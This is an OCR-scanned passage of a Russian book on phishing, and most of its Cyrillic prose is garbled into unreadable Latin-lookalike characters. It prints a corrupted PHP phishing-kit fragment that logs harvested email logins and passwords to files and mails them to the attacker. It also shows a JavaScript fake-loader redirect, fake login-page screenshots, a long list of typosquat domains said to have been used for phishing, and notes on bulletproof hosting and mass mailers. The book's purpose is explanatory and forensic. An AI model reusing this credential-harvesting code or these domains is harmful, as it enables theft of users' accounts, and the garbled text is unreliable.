Spost .= "Accept-Charset: windows-1251,utf-8;g=0.7,*;g=0.7\r\n";
Spost .= "Keep-Alive: 115\r\n";

Spost .= "Connection: keep-alive\r\n";

Spost .= "Content-Type: application/x-www-form-urlencoded\r\n";
Spost .= "Content-Length: ".strlen(Spoststr)."\r\n\r\n";

Spost .= "Spoststr\r\n\r\n";

Soutl = '';

if (!sfp) {

echo "Serrstr (Serrno)<br>\n";

} else {

fputs ($fp, S$post);
for($1i=0;%1<11;81i++)
{

Soutl .= fgets (Sfp,512);
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}
}
fclose (Sfp);
Sstatus = pars(Soutl, "Set-Cookie: Mpop=", ";");

if (Sstatus != "") {
if(Svalid_file = "")
{
Sfile = fopen(Svalid_file, 'a');
fwrite($file, "S$login@Sdomain:Spass\r\n");
fclose($ale);
}

if(Semail != "") mail(Semail, "Data from mail.ru",
"Slogin@Sdomain: Spass");

header ('Location: '.Slocation);
} else {
if(Sinvalid_file != "")
{
Sfile = fopen(Sinvalid_file, 'a');
fwrite($file, "S$login@Sdomain:Spass\r\n");
fclose($ale);

B pesynabTaTe mpuMeHeHUs QYHKIMM TPOBEPKM BBOAVMbIX IT0JIb30-
BaTejeM JaHHbIX ABVKOK MO3BOJISIET COPTUPOBATH IMOTyUyaeMble Imaposin
1o AByMm (aiiiam: moaTBepXkaAeHHbIe U omibouHbie. Ha mokasaHHOM
rpuMepe MOATBepKAeHHbIe JIOTUHBI M Mapoju 3aIliChIBAIOTCS B Gaiii
stoun.php, a Te, UTO MPOBepPKY He MPOIIIN, 3aMMMCbIBAIOTCS B inv.php.

U roe Temepb Te caMble COBETUMKM, KOTOPbIe pEKOMEHIYIOT BBOJIUTD
HeIOCTOBEPHbIE ITapoJiN AJIsT IIPOBepKu, (PIVK mepen To00i muau HeT?

MuTepeceH ¢akT, YTO Py pacciaeqoBaHmu ¢pakTa HeCaHKIMOHMPOBaH-
HOT'O TIOJTyYeHMSI TTapoJisi CKPUIITOM TaKOTO TUIIA (BKIIOUAIOIIMM B cebs
aBTOMAaTUUECKYIO0 IIPOBEPKY) B MCTOPUM aBTOPU3ALNIL JIEKTPOHHOTO
smmKka ocraiTcst IP-agpec cepBepa, Ha KOTOPOM pasMeleH (QUIIMHT-
IBUKOK, ¥ TOYHOE BpeMsI MHIMIeHTa — HeIlIPaBOMEPHOTO KOIIMPOBAHMS
MHbOpMaILn.

Takske B MCTOpUM MOAKITIOUEHNI OCTAHYTCS JaHHbIe, TepeaBaeMblie
OUIIMHT-ABVKKOM MIPU COeIVMHEHUM C TIOUTOBBIM CepBEpPOM, B HAIlleM
CIydae 5TO TaKOM «OTIIeYATOK»:
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User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8)
Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)

K nepemennoin User-Agent eie BepHeMcsi. Ha 3TOM ¢ MOMeHTaMM,
KOTOpbIe MOTYT IOKAa3aTbCS TEXHMUUYECKM MeHee IOJAKOBAaHHOMY UMTa-
TeJII0 CJIOKHBIMM, OyZIeT MOKOHYEeHO. [IpuBegeHHas TeXHMUYECKasl YaCcTh
OymeT Toje3Ha Ipu MPOBeAeHMM UCC/IeIOBaHMII U AJIsT TTyOOKOTO I10-
HMMaHMSI ITPOIIeCCOB (PUIIMHTOBBIX CaliTOB.

[TOKOHUYMB C TEXHMYECKOM YaCThI0, MOKHO PaCCMOTPETD ellie HeCKOJIb-
KO BapMaHTOB (31iKOB i1 GOpMUPOBAHUS KapTUHBI aCCOPTUMEHTA
¥ TMOKOCTY (PUIIIMHT-aTaK.

QuuwiuH2-08uxdok usHympu. llpumep 4

PaccMoTpuM ellie OMH ABVOKOK, MUMUTUPYIOIINIA POCMOTP TOJb30Ba-
TesieM MpuUcJIaHHOTOo daitia mox uMeHem otchet.jpeg.

Ha 3TOT pa3s 370yMbILIJIEHHUKM UCIIO/Ib30BaMu Au3aitH uHTepdeiica
I PYTOTO TOMY/ISIPHOTO TTIOYTOBOTO cepBical.

Taxk ke, Kak ¥ BO BTOPOM IIpuMepe, IMpyu o0palleHny K SIKOObI Ipu-
w1aHHOMY (haiiay Mmosib30BaTeNb HabaoIaeT HeKMit Impollecc To Ju 3a-
TPY3KM, TO JIV TTOAK/IIOUeHMsT (cM. puc. 1.35).

O tewo | U7 YANDEX RU Photo manager X+

< C 88 | @ locshost

otchet jpeg

Puc. 1.35. [pouecc obpauieHus K 8noxeHHoMy ¢aiiny

Kak 1 3agyMaHO 3/I0yMbIIIJIEHHMKAMM, MTOTBITKA ITPOCMOTpPA IOJb-
30BaTeyieM MPUCIaHHOTO (aiijia MpepbIBaeTCs B CBSI3U C «0OPBHIBOM CeC-
CUM» Y He0OXOAMMOCTbIO TIOBTOPHOI aBTOpMU3alMi, O UeM KpacHOpeuu-
BO coobmaeT uHTEepdeiic (cMm. puc. 1.36).

! TloutoBsiit cepBuc yandex.ru OO0 «SIHpAeKc».


http://yandex.ru
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Bxon,

\ o]
¥ 3aNOMHUTb MeHs (YT 3T0)

Bxog,

BoiiTin nput nomoLyn

3aperncTpupoBarsea
BenomuuTe napons

Puc. 1.36. Mnmepgelic ¢alika: Heobxodumocms N08mopHOU asmopusayuu

Kopg, vMuTamm OTKPhITUS M300paskeHMs BBITJISIAUT CAeAYIOIUM 00-
pasoMm:

<script type="text/javascript">

setTimeout ('location.replace("index.php?login=<?php echo @S_
GET['login']; 2>")', 2500);

</script>
</head><body bgcolor="#000000">

<img src="./passport_files/top_2.png"><br><br>

<table width="94%" height="95%" border="0">

<tbody><tr>

<td bgcolor="#333333" valign="top">

<center>

<img src="./passport_files/photo_00145547.jpg" height="40%"
vspace="3"><br>

<img src="./passport_files/loader.gif" align="top">
</center>

MOXXHO OTMETUTH, UTO BpeMsl MOAK/IIOUeHMs 3amaeTcsi QyHKIei
setTimeout!, 1 B 3aBMCMMOCTH OT 3aJJaHHOI'O 3HaUeHMs I10JIb30BaTesIs
orpenesieHHOe BpeMs OymeT pa3BieKaTb aHMMMPOBAHHOe M300paske-

1 http://javascript.ru/settimeout.


http://javascript.ru/settimeout
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HUe, mpefacTaBieHHoe daiiiom loader.gif, mpoiecca 3arpy3ku 3ampa-
nmmBaemoro daiiia.

[IpuBOAMMbBI€e TTPUMEPBI JeMOHCTPUPYIOT BO3MOXKXHOCTY TBOPUECKOTO
MpUMeHeHMsI HeCJIOXKHbBIX BO3MOXKHOCTe TaKUX SI3bIKOB ITPOTPaMMUPO-
BaHus, Kak PHP u JavaScript, B cosmanuu cuieHapueB (PUILIMHT-IBUKKOB.

be3yciioBHO, TpMBeAeHHbIMY ITPYMepaMii BO3MOKHOCTM He OTrpaHu-
YMBAKOTCSI U BCEr/ia MOTYT PaCHIMpPSTHCS 3/I0YMBbIIIVIEHHUKAMU C OJHOM
JIUILb TOJIBKO 11eJ1bI0 — MIPeA0CTaBUTD MMOJIb30BaTENI0 AOCTOHOE 3pesi-
111e, IIpY KOTOPOM He OyZIeT BO3HMKATh MbICJIEN O CMMBOJIaX B IOMEHHBIX
MMeHax.

lMpumepsr uHmepdgeiicos

He orpannumBaeTcss GuimnHr U cepoii mpuMeHeHUs OHJIaiiH-CepBu-
COB. [IJ1s1 AeMOHCTpaLMM 3TOrO YTBEPXKAEHMSI MOKHO IIPUBECTU elle He-
CKOJIBKO M300paskeHn’t (H3iKoB, MOMAJaBUIMXCSI aBTOPY B pasiMuHbIe
1epuoabl BpeMeHM.

[Tpumep GUIIMHT-ABIKKA, BeyIeTro MOoIb30BaTeNs AJ1s1 CKauMBaHUS
npucjaa”HHoro ¢aitia obaako, — puc. 1.37.

[ cEnacommai. X BB

C %2 | @ locahost

Bxoa,

BBEAHTE NOMH H NARATTE T CBBEMD NEHTORON ALWKE AN TOrD,
uTOfie! MROAAMKHTE PABOTY C CEREMCOM

Vi Auyka @mailm

TMapons

3abkinn napons 7 O zanomunre

Boimn PerucTpauna —

Puc. 1.37. Mumepgetic ¢palika - obnaka

[Tpumep daiika, peKOMEHYIOIIEro MOIb30BaTeNI0 BKIIOUeHEe OUeHb
BaXKHOM QyHKIMM «BIOKMPOBKY TTOA03pUTENbHBIX IP» naH Ha puc. 1.38.
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| BezonacHocTe x |+

88 @ locahost

KC BezonacHocT

BKM0OYHUTE GYHKLMIG "BNoKMpoBKa NOA0SpHUTENEHEIX [P".

[nA BrAKMEHMA Mog A AlienlP, aETopuayiATECE, NOATEEAME TEM CAMBIM CEOH NHYHOCTS

‘ test ‘

| ........ J ‘

|| Y0l komnerTER
B] flv]a] IR

| BcnomMHWTe napone | Perucrpauua

- Ry

Puc. 1.38. Inmepaelic ¢alika «bnokuposka nodospumesnsHoix IP»

WuTepdeiic MOKeT TOBOPUTh 0 cboe aBTOopm3auum (puc. 1.39) uan
CoOOIIaTh O BOCCTAHOBJIEHNUM yUeTHOI 3amucu (puc. 1.40)

XoueTcs elle MPUBECTU MPpUMep OYeHb CTApOro, HO OCTPOYMHOTO
BUAA GUINMHT-ABIDKKA, UMUTUPYIOIIErO IMIOBTOPHYIO aKTUBAIIMIO aKKa-
YHTa 13-3a 6JIOKMPOBKMU C «TaHHBIMU T10 MHIUIEHTY», CO3JJAHHOTO MO/
MOOMIbHBIE TeseoHbI (puc. 1.41).

TekcT Ha cTpaHuie ¢aiika coobIIaeT MOJb30BATENIO, UTO K €r0 aK-
KayHTy Obljla coBepllleHa IOMbITKA HeCaHKIMOHMPOBAHHOTO BXO[a,
KOTOpasi Oblj1a 3a0JI0KMpPOBaHA CUCTEMOI, yeM OblLiia cIlaceHa HeIlpu-
KOCHOBEHHOCTD 3JIEKTPOHHOJN MOUTHI TOJb30BaTes. [IJis myimeii yoe-
IUTeTbHOCTU MPUBOAUTCS Hekuit IP-agpec, ¢ KOTOporo siko6sl Gblia
TpoBeJieHa aTaka. Bumumo, cosmaresb Takoro ¢aiika 6b11 B TBOPYECKOM
pacrnoyioskeHUM Ayxa.

[TOHSTHO, YTO ABMKKM 3JIOYMBIIJIEHHUKM C TBOPUYECKUM ITOAXOOM
MOTYT JefaTh MHAMBUAYAJIbHO MOJA, KOHKPETHOTO MOJb30BaTeNsl (CM.
puc. 1.42).
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7 BesonacrocTe Google x [

C s | @ locahost
Google

Cobon aBTOpM3aUun

BoRAuTe B NOUTY, 4TO6E! NPOACTKHTE

3n.novta

Mapone

¥ OcTaBambeA B CHeTeME  HyskHa nomoLs?

CO30aTh AKKAYHT

I3 DAHOM aKkayHTA BO BCE CEpBMChl Gongle

EM&D A

Puc. 1.39. Mnmepaelic ¢alika: cooli asmopu3zayuu

= (cio

<> C 8 © kot RO

[EUT NI COSATE AKKAYHT

[0 oo | Manat ecrpamannorac % |+

Google

Gmail. BoccTaHoBNeHWe yyeTHol 3anmcu.
AsTopu3yiitech, 4To6bl BO306HOBHTE OTNPABKY NOYTHI. MoaTBepKAEHUe akKayHTa Google
(Grmail NO3BOTAET CAENATL GNEKTPOH:YIo NO-TY GOnee MPOCTOR, SHMEKTHENOT  NONEGHOR. A, MOXET B, el Vs nanesopsTony)

WyenekarenbHof, Benl 8 Gmail ecTs

MHoro mecTa Mapone
Bonee 10902797218 werabai (nankue — Gonbuie) ceoBoaHoro wecTa

MenbLue cnama
38T NN BXORALYIX OT HEXENaTENSHulk CO0BiLEH

[locTyn ¢ MoBunbHOro Tenedona
Monysaifre nouTy Gmail Ha Caoi MOGTHLIi TeNechon, @338 B B26.Gpayaspe Teneons agpec
http:iigmail.com Mogoodhee

OGmail  Hosble BosMOKHOCTH]  CO3AGTS aKKayHT

T WenonbayiiTe BoswmosciocTn Google+ ans obuenns 8 Gmail

Tenepk Bul MOKeTE NPAO & Gl OBUATECA B EMISONATE CPEZY C HECKONBKIIA
TaIoKe MTHOBBHHO

KOMMERTHDOSATS 3ancH

Bxon OcTagarecs B cvcrene

He yniaeTcs BOATH B aKKayHT?

Puc. 1.40. Mumepgelic ¢p3lika: goccmaHogneHue y4emHol 3anucu
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0 1 | @rosrscomaen Tioratt <[F =
<> C 8|6 b =0
Ownbr

MailRu Mowra Mofilup Opvoknaccrucn  Mipel  Suaxowcrea  Hosoct  Mowck  Bee mposkcTol v PerucTpaus  Owubra

We nonsaogaTens
BabnokiposaHa NoNsITa Bxoga ¢ IP: 87.117.199.133 (BenkoSpuTanus). 1A Gnokupoeis - 87.117.199.133 1 NONHOT0 38NeT 0CTyna AaHHOr 3peca BESRNTE fiaHsle ECTH T 1k B, HAKGIIDX ROVICTBI COBSPLIATS He HYKHO W BXO] B Ball BHKET ¢ AaHHOT IP He
DYBeT CHMTATECA NOA0IDHTEMEHEIM

BEl BNI0EETE WCTeMy Bxona Mol chiokent NONLITKH BX01a B B3 aKKEyHT

{@mail u
@mailru ~|
Napons
Hianowmir napons
F sanowms oty
Boi & noury’
Movyta Bcerga ¢ TO6OM, faxe ecnu
Thl ANEKO OT KOMMLIOTEpa
NMCEMA, MPMKPENNAI i haiinbl, HaxoRACk B NIGOR TOUKE 3emnu.

YcTaHosu npunoxexHue

V3T GONblle 0 BOSMOKHOCTRX MOBHISHOT TTOUT 1 CKAUATS €& A% APYTHX TENEHOHOB MOKHO Ha CTPaHNLE NPHNOKEHN

Elie HeT nouThi Ha Mail Ru? Cozaail celivac

Puc. 1.41. Mnmepaelic ¢alika: 3a6110KUpOBAHA NONbIMKA 8X00a

Maentuchnkayus iCloud

AHapen C Macankoe
AndreiShasalkovi@gmail. com

Baw IP agpec uoeHtwduyupoear. Boe
KOHBMAEHLUMANE HEIE JaHHES 3ALLWLLEHEL.
AETOpHEYATECE, MTOREI BKIHIMUTE MOGYNE 38 UTE
NERCOHANEHEX BaHHe iGuard.

Beegute napone.

370 HE MOR aKKSYHT

Puc. 1.42. Mnmepaelic ¢alika: udenmugukayus iCloud

[Ipu Bceit mpocTOTe, KOTOpas 3/ieCch OblIa MPOAEMOHCTPUPOBaHA
BbIllIe, paCCMOTpPeHHbIe (aiiyibl SIBASIOTCSI 3JieMeHTaMM MHTepHEeT-pe-
CypCOB U IIpeHa3HaYeHbI JJIs1 HeIPaBOMEPHOTO KOIMMPOBAHMSI KOMIIbIO-
TepHOIi MH(pOopMaLMM — Iaposeii Moab3oBaTesei cepBUCcoB ceTu iHTep-
HeT I[P pa3MelleHUM UX Ha CcepBepe.

Pa306paThcsl B HUX HECTIOKHO, ¥ TIOHSITh OCHOBHYIO CXeMY X paboThI
MIpY aHan3e TMpefCTaBJIeHHbIX IPUMEPOB MOXET KaKIbI.

Takue GUIMMHT-IBVOKKY UMUTUPYIOT OOMH 13 TTIOYTOBBIX (MJIM MHBIX)
CepBUCOB, BU3yaJbHO MOBTOPSISI MHTEpP(deiic OpUTMHATBHOTO CepBe-
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pa. Korpa nosnb3oBaTesib BBOOUT LaHHbIE IJIs1 aBTOpU3aL UM — JIOTUH
Y apoJib (MU TOJBKO MApoJib), CKPUNT (IIpOrpaMMa) TakKoro cepsepa
OCYILeCTBJISIET KOIIMPOBaHME YUEeTHBIX JAaHHbBIX I0Jb30BaTeNsl U Iepe-
HaIpasJsieT I0Jb30BaTe/lsl Ha OPUTUMHAJIBHBIN cepBep, IIPU 3TOM 1S
I10JIb30BaTesIs MPOLeCcC KOMMPOBAHMS NIAPOJISt OCYLIECTBIISIETCS B CKPBI-
TOM peXuMe.

JZloMeHHbIE uMeHa

OmHaKO OHOTO TOJBKO JABVMKKA HEIOCTATOUYHO, TpebyeTcs] JOMEHHOe
ums. g 5¢¢GeKTUBHOTO MCI0Ab30BaHMSI pa3paboTaHHbIX (QUIIMHT-
IBVKKOB 3JIOYMBIIIVIEHHUKM PErMCTPUPYIOT TaKyue JOMEeHHbIe MMeHa,
KOTOpbIe He TOJIKHBI OpocaThCs B IIa3a, a B Measie JTO0KHbBI BRITISIETh
MaKCMMaJIbHO ITOXO3Ke M0 HaNMCAHUIO C HAMMEeHOBAHUSIMM PECypCoOB,
Ha KOTOPBIX pasMellleHa yuyeTHasl 3aIyCh KepTBbI (M o1 uHTepdeiic
KOTOPBIX ObUT IIPUTOTOBJIEH (DIIIK).

ABTOp IpuBeeT IpuMepbl JOMEHHBIX MMEH, KOTOPbIE Ne/iCTBUTE/Ib-
HO YCIIEITHO MCIOJIb30BaIMCh 3JIOYMBIIIEHHUKAMM IJ1s1 QUILIHTA:

qgqog.ru
gmaik.ru
goooqgle.ru
gogund.ru
grnail.ru
gnrail.ru
gmaii.ru
amlail.ru
gmali.ru
incup-cafe.ru
gmair.ru
gmarl.ru
gooqie.ru
gooqile.ru
iogin.ru
gnaii.ru
gnnail.ru
gooqin.ru
goonle.ru
yvarcex.ru
gooqlie.ru
gogile.ru
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maing.ru
goonle.ru
gooole.ru
mgail.ru
gologe.ru
cgi-google.ru
cqgoogle.ru
cgoogle.ru
vlewer.ru
cgi-googie.ru
cqi-googie.ru
gooigle.ru
goolge.ru
goolge.ru
goomle.ru
attachview.ru
gmlail.ru
liever.ru
goigle.ru
gmaai.ru
gogogle.ru
gologgie.ru
gogoie.ru
gogole.ru
goggle.ru
googile.ru
index-gmail.ru
googe.ru
gnali.ru
goooge.ru
gnall.ru
gnnai.ru
gooegl.ru
bkmaill.ru
gmani.ru
rrali.ru
grrlail.ru
gomarr.ru
rlrlail.ru
gmarr.ru
ririail.ru
rraili.ru
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gmailtech.ru
gmarr.ru
gmail-cgi.ru
google-cgi.ru
gmail-black.ru
gmmail.ru
grnali.ru
rugmail.ru
neoyandex.ru
yandetx.ru
neondex.ru
googol.ru
googol.ru
gooqoi.ru
googol.ru
best-carparts.ru
gooqje.ru
googe.ru
googie.ru
gooqje.ru
googQr.ru
gooqgil.ru
goeir.ru
googel.ru
gogir.ru
gogor.ru
googikl.ru
goggle.ru
gogori.ru
googil.ru
gmapl.ru
giigle.ru
gmali.ru
amakil.ru
gogoqgle.ru
gogoge.ru
gkail.ru
googgle.ru
gogoi.ru
gooqggle.ru
gogog.ru
ggogole.ru
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ggogle.ru
gogind.ru
gogoq.ru

golin.ru

gogk.ru

gogole.ru
foogle.ru
google-account.ru
google-abuse.ru
goke.ru
abuse-google.ru
account-google.ru
gole.ru
cgibinlogin.ru
blackgmail.ru
abuse-tech.ru
technical-abuse.ru

BriosiHe BO3MOXHO, UTO KaKue-TO U3 IMPUBEJEHHbIX JOMEHOB ceiuac
CHOBA MUCIIONB3YIOTCS B IIPECTYIHBIX LIENISIX, B TAKOM (JIyyae IOCYUTaeEM
IaHHYI0 MHQOpMALNIO TTpeayIIpexXIeHeM.

Ecin ke Kakoi-TO M3 NIpUBEIEHHBIX JOMEHOB I10CTIe 0CBOOOXKIEHMS
MCITONIb3YETCST B JOOPOTIOPSIIOYHBIX 11€/ISIX, aBTOP OymeT HacTauBaTh Ha
IeHEeKHOM BO3HarpaXIeHuu 3a pekjiamy pecypca (LIyTKa).

[Ipu nepexomax Ha CTPaHUIIbI QUIIMHT-IBMKKA HECOOTBETCTBME O -
HOJ MM HeCKOIBKMUX OYKB 0UIIMATIbHOMY IOMEHY He 6pocaeTcs B IJ1a-
3a. B mobom cryuae, mOMeHHOe MMSI IO/KHO OBITh TTOX03Ke Ha TOT pecypc,
Ha KOTOPOM HaXOAUTCS yYeTHasl 3aluCh (IIOYTOBBIN SIIVK) MOIb30Ba-
TeJIsl, WX CofepsKaTh B HAa3BaHMM UTO-TO, O/IM3K0Oe IO CMBICTY CEpPBUCA.

[Tonb30BaTe b He 3aMevaeT pa3HUIIbI, KOTa BMecTo gmail momamaer
Ha grnail. JIoBOJIbHO YacTO UCITI0/Ib3yeMblit MOIlIIEHHMKaMM ITpueM, Koraa
6YKBa «m» 3aMeHSeTCS Ha COUeTaHMe «I» + «n».

Boo061iie roBopsi, MaJIo KTO MIIET U TeM Oojiee HaXOOUT MOABOX, BUJIS
CTPOKY 6pay3epa, B KOTOpO¥ IMOHAMMCAaHO UTO-TO Bpoje:

http://grnail.ru/view2.php?id=schet.pdf&login=pochtauser&server=gmail-fil
es&1d=1111450005654606546846520

nimn

http://vandetx.ru/view2.php?id=price_2017.pdf&login=auser&server=yandex-
files&id=1116546846520
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PasmeuwieHue ¢haiika Ha cepsepe

[ToaroToBMB (UIIMHT-ABMKOK M 3ariacsl JOMeHHbIe MMeHa, 3JI0yMbIIII-
JIEHHUKY OCTaeTCsI MPUOOPECTY BUPTYaIbHBIN XOCTVHT [IJISI Pa3MelleHUsT
HECaHKIIMOHMPOBAHHOIO pecypca.

Hamnb6osiee momynsipHbiit M GYHKIMOHAIBHO MOAXOASINI BapUaHT
BebO-cepBepa — Apache!, Ha KOTOpoM OyzAeT paboTaTh OOIBIIMHCTBO I10-
MYJISIPHBIX CUCTEM YIIpPaBJe€HUS CaiiTaMU M MHBIX BebO-IPUIOKEHUIA.
YcTaHOBKA M HACTPOIIKa TaKoro BeG-cepBepa uale BCEero oCymecTBIs-
I0TCST Ha 6a3e omnepanoHHbIX cuctem Debian / Ubuntu Server.

[t MICTIONTHEeHMSI Ha CTOPOHE cepBepa HaMMCaHHBIX MTPOrpaMM, BXO-
OSIIVX B COCTaB JIBMKKA, TpebyeTcs moamepskka PHP.

3/I0yMBIIIJIEHHMKAMM BbIOMPAIOTCS B KaueCTBe XOCTUHra cepBe-
pbI, MMeloIIe wienywinyo koMmmiekramyuio: OC Debian 6o Ubuntu,
Apache, PHP n MySQL.

O6bem AMCKOBOrO MPOCTPAHCTBA [IJISI XOCTUHTA He KPUTUUEH, TT10-
TOMY UTO GUIIMHT-ABUKKM 3aHMMAIOT KpajiHe MaJjio AMCKOBOTO ITPOCT-
paHCTBa.

C 11€/TbI0 TOJITOCPOYHOI paboThl MOIIEHHMYECKOTO pecypca oI, e
(buimmHra BpIOMpPAOT aby30yCTONUYMBBIN XOCTUHT, lleHa KOTOpPOro, Ha-
npumep, npu kouburypamuu Apache 2.3 / PHP 5.3 / MySQL 5.5 / FTP /
DNS / Email / Cron / Perl / Python / SSL cocraBiser or 100$ mo 800$%
B MeCSI] B 3aBMCUMOCTY OT CTPaHbl (PU3MUECKOTO PACIIOIOKEHMSI.

HeckombKo c10B 06 aby30yCTOMUMBOM XOCTMHTe. AGy3a Ha CIeHTe
PabOTHMKOB TeJIEKOMMYHUKAIIMOHHBIX YOIYT O3HAYaeT Kajo0y, Harpas-
JIEHHYIO B aJipec Bjajieblia cepBepa (XOCTMHTA) WM IPYroro cepBuca
Ha BO3MOXHbIe HEIIpaBOMEpHbIe JIeICTBUS €ro KIMEeHTOB.

K TakuM skajobaM B MEPBYI0 O4Yepeab OTHOCSTCS 3aIpoChl MPaBoO-
OXPAHUTENIbHBIX CJIY3KO C 11eJIbI0 TTOyUYeHMs] JaHHBIX O KIMeHTe, He-
06X0AMMBIX 1IJ1s ero uaeHTudukamm. K aby3am Takske OTHOCSITCST pas-
JMYHOTO poja TpeboBaHMSI KOHTPOJIMPYIOUIMX OPraHOB O IpeceyeHun
He3aKOHHOJ AesITeJIbHOCTU U 6JIOKMPOBKe MHGOPMAIMOHHOTO pecypca.

Kaxk rpaBuiio, aby30yCTONUYMBBIN XOCTUHT ITPEAOCTaBISIETCS] Ha cep-
Bepax, GU3NUeCcKM PacroIoKeHHBIX 3a MpeaeaaMy IOPUCOUKIIUY KOHT-

I Apache - kpocc-miatdhopmeHHblii (Kpocc-tiatrdhopmenHoe [0 — mporpaMmHoe
obecrieuenne, GyHKIMOHMPYIOIIee Gojlee YeM Ha OFHOI amliapaTHOi ruiaTdopme
u omepanyoHHoM cucreme) HTTP-cepBep, noanepkuBaroimii orepanyoHHbIe CU-
crembl Linux, BSD, Mac OS, Microsoft Windows u nip.
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POJIUPYIOIIMX OPTaHOB, ¥ aMUHUCTPALMS TAKMX KOMITAaHMIT He BbIJaeT
MHGOPMALIMIO O CBOMX K/IMEHTaX KOMY ObI TO HU OBLIO.

[ToMuMO UIIMHT-IBUKKOB, [IJISI YCIIEIIHOTO BBITIOJIHEHMST 3alaun
T10 TIOJTyYeHUIO TTapoJIsl Ob30BaTes IPUMeHSIOTCS send-MeHeIsKephl,
TaKke pasmeliljaeMble Ha yIaJleHHOM cepBepe.

[Tomo6HbIe MPOrpaMMbl TTO3BOJISIIOT HE TOJTBKO OCYIIECTBISITh OTITPaB-
Ky COOOIIeHMs TI0Jb30BATENIO C yIaJIEHHOTO CepBepa, HO U 00J1aatoT
TakuMM QYHKIMSIMM, Kak HOHOBas (aBTOMaTuyeckas) paccblika B He-
CKOJIbKO TTIOTOKOB, BCTPOEHHbII pelaKTop KOoha, BO3MOKHOCTb MCITOJIb-
30BaTh CIIMCKM (3arpyskaTh) MojydaTesieil ¥ MabJoHbl [TapaMeTpPoOB U3
daitnos, rpu >kelaHMM OCYIIECTBJISITh MacCOBbIe aTaKu.

KauectBeHHbIe send-MeHemkepbl 001a4ai0T AeiCTBUTENBHO MPO-
IBUHYTBIMM BO3MOXKHOCTSIMM, TTIO3BOJISIIONIVMMU TTepebupaTh BO BpeMs
OTIIPaBKM OCHOBHbBIE CTyKeOHbIE TIOJIST 3JIEKTPOHHBIX IICEM, HE TOBO-
pst ykKe 00 yIOOHBIX BO3MOXKHOCTSIX IO MPEAPOCMOTPY CO30aBaeMOro
MyCbMa CYaCThs.

OdbdekTuBHbIE send-MeHeIKepbl MO3BOJSIIOT, IIOMMMO BCETO MpPO-
yero, MHTETpUpPoOBaTh HeOTpaHMUEHHOe KOIMYeCTBO BIOXKEHMUIT B TelO
MI1CbMa, a [iJis paboThbl TPeOYIOT OT CMCTEMHOT0 OKPY>KeHMs (Ha cepBepe,
OTKy[a OyzmeT MpOU3BOAUTHCS pacChlIKa) TOMbKO moaaepskky PHP 1 mail
transfer agent — sendmail®.

BoT Tak Bpoje 6bl TOBOJIBHO HAIJISITHO U C 0OM/IMeM KapTUMHOK aBTOP
TIOMBITAJICSI TIPOAEMOHCTPUPOBATh BHYTPEHHIOW YacTh camoro 3dgdex-
TUBHOTO Ha CETOAHSIIHMII AeHb 1, Ka3aJ0Ch Obl, CJIOKHOTO MEeTO/1a B3JI0-
Ma 3/71eKTPOHHBIX TTOYTOBBIX SIIMKOB.

I sendmail — kpocc-1mTaThopMeHHOE TPUITOKEHME JIS TTIepeault 3/IeKTPOHHO ITOYTHI.



TTIASA 2

MEVUHUPOBAHHbIE ATAKM
C UCNOJIb3OBAHUEM ®ULLUHIA

HamoMHMM, UTO BO BCEX TUITMUYHBIX MCTOPUSIX, IPUBEIEHHBIX B CAMOM
Havajie KHUTH, 3JI0YMbIIIJIEHHMKAaMM MCIT0/Ib30Baach (DUIIMHT-aTaKa.

B repBoji I71aBe OCTATOYHO IOAPOOHO OBUI PacCMOTPEH MeXaHU3M
MICIIOJIb30BaHMs (UIIMHTA P BBIIIOJHEHMM 3aJauy 110 HeCaHKIMO-
HMPOBAHHOMY JIOCTYITY K 3JIeKTPOHHOJ YUYEeTHOJi 3aliCy Ha MpuMepe
9JIEKTPOHHOTIO ITOYTOBOTO SIIIMKA.

DUIIMHT-aTaKa MOKET COCTOSITh TOJIbKO M3 IPUCAaHHOTO MMCbMa
" TIOJICTAaBHOTO MHTepdeiica opuIMaJIbHOTO OHJIaiH-CepPBUCA, ITpeIHa-
3HAUEeHHOTO 151 BBeIEeHMS ITapoJjis CAMOCTOSITeTbHO IT0Tb30BaTeIeM, He
BeJaloIINM IIPM 3TOM, UTO OH TBOPUT. OFHAKO XMIeHMeM I1apoJieil OT
YUeTHBIX 3aIyceil IpuMeHeHue GUIIMHTa He OTPaHMUYMBAETCS.

3/I0YMBIIIJIEHHMKY MOTYT MCIIOIb30BaTh (PUIIMHT KaK OAMH U3 MH-
CTPYMEHTOB KOMOVHMPOBAHHOJ aTaKy, B TAKOM CIy4ae MIChMO MOKET
coZiepskaTh BPeIOHOCHBIN (aii, Harmpumep 69KI0p!, OTKPhIBAIOIINIA 10-
CTYII 3/IOYMBIIIVIEHHUKY K OIEePalMOHHON CCTeMe KOMIIbIOTepa I0jIb-
30BaTeJIsl U er0 CETEBOMY OKPYKEHMIO.

VcciemoBaHie KOMITbIOTEPHOM TEXHUKY B PacciefOBaHUM VHLIVIEH-
TOB MH(POPMaLMOHHOJ 6€30ITaCHOCTM MUJIM ITPECTYIIEHMI SIBJISIETCS Ol -
HMM U3 CAMBIX BaXKHBIX 3TAIIOB.

I Bakpop, backdoor (ot anrn. back door — «uepHbIii XOHO», «3aQHSIS OBEPb») — TUII
BPEIOHOCHBIX IIPOTPAMM, TO3BOJISIOMNX 3JOYMbBIIUIEHHUKY ITOJYYUTh HECAHK-
IVOHMPOBAHHBIN AOCTYI K JaHHBIM WM yOJIEHHOMY YIIPaBJIeHUIO OMepalyoH-
HOJ CUCTEMOVA.
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B pesynbraTe uccienoBaHNs KOMITBIOTEPHOTO 060PYIOBaHMsI, HOCH-
Teneit MHGOpMaLK U IMIPOrpaMMHOTO obecrieueHMs 3a4acTyi0 MOXKHO
BOCCTAaHOBUTH IOJTHYIO KapTUHY IIpou3olnenaiiero. VcciemoBaHue 1o-
3BOJISIET ITPABUJIbHO KBAIMDUIIMPOBATh MHIIUIEHT, yCTAHOBUTD €T'0 ITPU-
YMHBI U UCIIOJIb3yeMble 3JI0yMbILIJIEHHUKAMM METO/Ibl.

[ToaTomy TipenJiaraeTcst IPOBECTM PacCMOTpPeHe HEKOTOPBIX TUITNY-
HBIX CJIydaeB KOMOMHMPOBAHHBIX aTaK, BKIOYAKOIINX B cebs mpuMe-
HeHMe (pUIIMHTra, ONMMpasiCh Ha aHA/IM3 aTaKOBAaHHO KOMIIbIOTEPHOI
TeXHUKM.

TexHMUecKMe naHHbIe, 00CY)XIaeMble B CJIEAYIONMX ABYX YaCTSIX, Ha-
BepHOe, He OyAyT MHTepecHbl BCeM, OJHAKO B Hallle BpeMsl OYeHb Ke-
